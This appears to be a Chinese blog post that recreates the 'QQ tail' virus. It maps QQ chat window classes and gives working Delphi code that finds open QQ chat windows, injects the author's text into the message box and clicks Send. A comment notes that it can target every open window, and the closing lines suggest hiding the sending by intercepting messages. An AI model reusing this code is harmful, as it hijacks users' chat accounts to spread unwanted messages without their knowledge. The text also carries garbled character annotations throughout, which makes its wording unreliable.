前幾天看到 wuqiu 兄 把 QQ尾巴病毒模擬了一遍，

我覺得通過查找窗體標(biāo)題，不太合常理

回去用SPY++來查看了一下，原來，QQ的框架是這樣的

其中，#32770（對(duì)話框）就是彈出的QQ聊天界面；內(nèi)部的控件就如上圖顯示的那樣，有Static(標(biāo)簽)、Button（按鈕）、AfxWnd42（這個(gè)我猜類似panel的容器）、RICHEDIT（這里面就是顯示我們的聊天紀(jì)錄了）

具體的布局就不一一的細(xì)說了，你們可以自己打開SPY++看看，一目了然

其中，我們用到的只是其中兩個(gè)控件，如下圖：

前半部分是句柄，中間是標(biāo)題，后半部分是類名

如：05240258~發(fā)送(&S)~Button

就是發(fā)送按鈕，句柄是05240258

好了，知道了這些，想做點(diǎn)什么就很簡(jiǎn)單了

全部代碼如下：

PRocedure TForm1.Timer1Timer(Sender: TObject);
Var
   hMemo, hRichEdit, HWindow, HButton: THandle; //句柄變量
   szText           : Array[0..255] Of char;   //得到的字符串
   MyText           : String;  //發(fā)送的字符串
Begin
   HWindow := 0;//從零開始，即從第一個(gè)字窗體開始遍歷查找

   While true Do
      Begin

         //找是#32770（對(duì)話框）的窗體
         HWindow := FindWindowEx(0, HWindow, '#32770', Nil);
         If HWindow <> 0 Then
            Begin

              //找是AfxWnd42（這個(gè)我猜類似panel的容器）的窗體
               hMemo := FindWindowEx(HWindow, 0, 'AfxWnd42', Nil);
               If hMemo <> 0 Then
                  Begin

                    //找是RICHEDIT的窗體
                     hRichEdit := FindWindowEx(hMemo, 0, 'RichEdit', Nil);
                     If hRichEdit <> 0 Then
                        Begin

                         //想些什么隨便啦，嘿嘿
                           MyText := '           阿德是個(gè)大帥哥，嘿嘿';

                          //發(fā)消息，得到QQ中的文本
                           SendMessage(hRichEdit, WM_GetTEXT, 256,
                              integer(@szText[0]));

                          //加上自己的話
                           MyText := szText + MyText;

                          //再發(fā)給QQ
                           SendMessage(hRichEdit, WM_SETTEXT, 256,
                              integer(MyText));

                          //找到發(fā)送按鈕
                           HButton := FindWindowEx(HWindow, 0, 'Button',
                              '發(fā)送(&S)');

                          //發(fā)點(diǎn)擊消息，發(fā)送
                           SendMessage(HButton, BM_CLICK, 0, 0);

                          //退出，如果去掉這句，就是給所有打開的QQ窗體發(fā)

                          //否則，只發(fā)給最前面的QQ窗體
                           break;
                        End;
                  End;
            End;
      End;
End;

這也只是對(duì)QQ尾巴的一種猜測(cè)，程序有很多不盡如人意的地方，比如發(fā)的文本在QQ中顯示一下然后再發(fā)送，就如 wuqiu 兄 的文章里說的，只要對(duì)消息進(jìn)行攔截，然后再背地里偷偷的發(fā)送，就會(huì)神不知鬼不覺了